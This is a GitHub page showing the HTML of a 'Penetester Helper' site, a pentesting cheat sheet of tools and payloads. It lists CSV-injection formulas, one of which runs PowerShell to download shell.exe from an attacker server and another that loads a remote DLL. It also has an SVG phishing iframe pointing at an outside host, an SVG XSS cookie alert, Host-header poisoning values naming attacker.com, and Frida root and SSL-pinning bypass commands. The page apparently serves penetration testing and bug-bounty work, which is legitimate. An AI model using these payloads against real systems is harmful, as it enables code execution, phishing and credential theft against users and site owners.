forked from CovidVaccine19qr/pentesterhelper.github.io
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathindex.html
More file actions
231 lines (192 loc) · 8.99 KB
/
index.html
File metadata and controls
231 lines (192 loc) · 8.99 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Penetester Helper</title>
<link rel="stylesheet" href="style.css">
<?--boostrap---?>
<link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
</head>
<body>
<div><h1 class="penetesterHelper">Penetester Helper</h1></div>
<div class="tools"><h2>Tools</h2></div>
<ul class="list-group tools">
<li class="list-group-item">1. Postman API count <a href="https://github.com/pentesterhelper/Postman-Api-Count">Download</a></li>
<li class="list-group-item">2. Base64EncodeDecode</li>
<ul class="list-group tools">
<li class="list-group-item">2.1 List <a href="https://raw.githubusercontent.com/penetesterhelper/penetesterhelper.github.io/main/base64decoder.py">Download</a></li>
<li class="list-group-item">2.2 Sample text</li></br>
<div class="input-group mb-3">
<span class="input-group-text" id="basic-addon1">Decode Base64</span>
<input type="text" class="form-control" oninput="decode()" id="myInput" placeholder="Encode String" aria-describedby="basic-addon1">
</div>
<code class="txtCenter" id="decodeValue">Decode String Here</code>
</br>
<div class="input-group mb-3">
<span class="input-group-text" id="basic-addon1">Encode Base64</span>
<input type="text" class="form-control" id="myInputEncode" oninput="encode()" placeholder="Decode String" aria-describedby="basic-addon1">
</div>
<code class="txtCenter" id="encodeValue">Encode String Here</code>
</ul></br>
<li class="list-group-item">3. CSRF JSON payload <a href="">Download</a></li>
</ul>
<div class="tools"><h2>Vulnerability Notes & Payloads</h2></div>
<div class="tools"><h3>CIA</h3></div>
<code class="tools">
Integrity : data only change by auth.</br>
Avalability : Available data when user need.</br>
Confidentility : Data access by auth.
</code>
<div class="tools"><h3>Containt Discover</h3></div>
<code class="tools">
dirb https://domain.com/ /usr/share/wordlists/dirb/big.txt </br>
gobuster -u http://fakebank.com -w wordlist.txt dir
</code>
<div class="tools"><h3>Directory Traversal</h3></div>
<code class="tools">
dirb https://domain.com/ /usr/share/wordlists/wfuzz/vulns/dirTraversal-nix.txt
</code>
<div class="tools"><h3>Clickjacking</h3></div>
<code class="tools">
<a href="https://pentesterhelper.github.io/clickjacking.html?url=https://penetesterhelper.github.io">https://penetesterhelper.github.io/clickjacking.html?url=https://penetesterhelper.github.io</a>
</code>
<div class="tools"><h3>Weak SSL Ciphers</h3></div>
<p class="tools">V1.0 & V1.1 is vulnerable</p>
<code class="tools">
nmap -Pn --script ssl-enum-ciphers {domain} -p {port}
</code>
<div class="tools"><h3>Host Header Poisoning</h3></div>
<p class="tools">1. Basic</p>
<code class="tools">
Change "Host" header and check response is 200 OK or not if response is 200 Ok then find 302 response
</code>
<p class="tools">2. via middleware (for password reseting)</p>
<code class="tools">
Add X-Forwarded-Host: domain.com
</code>
<p class="tools">3. via dangling markup</p>
<code class="tools">
Try "Host: domain.com" to "Host: domain.com:attacker.com"
</code>
<div class="tools"><h3>SVG Payload</h3></div>
<p class="tools">1. Phising Attack</p>
<code class="tools">
<svg width="1500" height="1500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<foreignObject width="1500px" height="1500px">
<iframe xmlns="http://www.w3.org/1999/xhtml" style="width: 1500px; height: 1500px;" src="https://numberless-holddown.000webhostapp.com/"/>
</foreignObject>
</svg>
</code>
<p class="tools">2. XSS</p>
<code class="tools">
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(document.cookie);
</script>
</svg>
</code>
<div class="tools"><h3>CSV Injection Payload</h3></div>
<code class="tools">
DDE ("cmd";"/C calc";"!A0")A0</br>
@SUM(1+9)*cmd|' /C calc'!A0</br>
=10+20+cmd|' /C calc'!A0</br>
=cmd|' /C notepad'!'A1'</br>
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0</br>
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1</br>
=@MSEXCEL|'\..\..\..\Windows\System32\cmd.exe /c calc.exe'!_xlbgnm.A1
</code>
<div class="tools"><h3>CORS</h3></div>
<code class="tools">
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CORS%20Misconfiguration/README.md">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CORS%20Misconfiguration/README.md</a>
</code>
<div class="tools"><h3>App Manipulation</h3></div>
<p class="tools">1. Decompiling apk</p>
<code class="tools">
apktool d apk_name
</code>
<p class="tools">2. Compiling apk</p>
<code class="tools">
apktool b apk_name </br>
keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 -validity 10000 </br>
java -jar .\apksigner.jar sign --ks my-release-key.keystore app-debug.apk
</code>
<div class="tools"><h3>Sensitive Information in Application Memory (Memory Dump)</h3></div>
<code class="tools">
frida-ps -U </br>
python3 fridump.py -U -s "UPCL Smart Billing" </br>
</code>
<p class="tools">Reference: <a href="http://pentestcorner.com/fridump-android-examples/">http://pentestcorner.com/fridump-android-examples/</a></p>
<div class="tools"><h3>Frida</h3></div>
<p class="tools">1. Tools</p>
<code class="tools">
1) Android Emulator API 32 </br>
2) BurpSuit
</code>
<p class="tools">2. Install Frida in Android Emulator</p>
<code class="tools">
adb push frida_server /data/local/tmp </br>
adb push ca_cert /data/local/tmp
</code>
<p class="tools">3. Install Frida in Windows or Linux</p>
<code class="tools">
pip3 install frida-tools </br>
pip3 install objection frida-tools
</code>
<p class="tools">4. Package Name</p>
<code class="tools">
frida-ps -Ua
</code>
<p class="tools">SSL Bypass</p>
<code class="tools">
objection -g pakage_name explore </br>
android sslpinning disable
</code>
<p class="tools">Root Bypass</p>
<code class="tools">
frida -U --codeshare dzonerzy/fridantiroot -f YOUR_BINARY
</code>
<div class="tools"><h2>ADB Command</h2></div>
<div class="tools"><h3>ADB Root</h3></div>
<code class="tools">
adb root
</code>
<div class="tools"><h3>Download application or file from enumalator</h3></div>
<code class="tools">
adb pull /data/app/{package-name} /{location}
</code>
<div class="tools"><h3>Install Application or transfer file</h3></div>
<code class="tools">
adb push {file.path} {location}
</code>
<div class="tools"><h3>Activity Manager</h3></div>
<code class="tools">
adb shell am start -n {package_name}/.{activity_name}
</code>
<div class="tools"><h2>Bug Bounty Report Mail</h2></div>
<div class="tools"><h3>Sent Report First Time</h3></div>
<code class="tools">
Subject: Security Vulnerabilities Found on Website </br>
Dear [name], </br>
I recently visited your website and noticed a bug while I was navigating through the pages. I am writing to notify you that I have identified several security vulnerabilities on your website. Specifically, I discovered an [Vulnerability_Name] These are serious issues which could potentially lead to a data breach or other malicious activities if left unaddressed. As such it is important that these issues be addressed as soon as possible in order to protect your website from potential threats. Please let me know how you would like me to proceed with providing additional information about these findings so we can work together towards resolving them quickly and efficiently for the safety of your customers’ data and other sensitive information stored within the system. </br>
POC: [POC] </br>
Sincerely </br>
[Your Name] </code>
<script>
function decode() {
let text = document.getElementById("myInput").value;
document.getElementById("decodeValue").innerHTML = atob(text);
}
function encode() {
let text = document.getElementById("myInputEncode").value;
document.getElementById("encodeValue").innerHTML = btoa(text);
}
</script>
<?--boostrap---?>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-kenU1KFdBIe4zVF0s0G1M5b4hcpxyD9F7jL+jjXkk+Q2h455rYXK/7HAuoJl+0I4" crossorigin="anonymous"></script>
</body>
</html>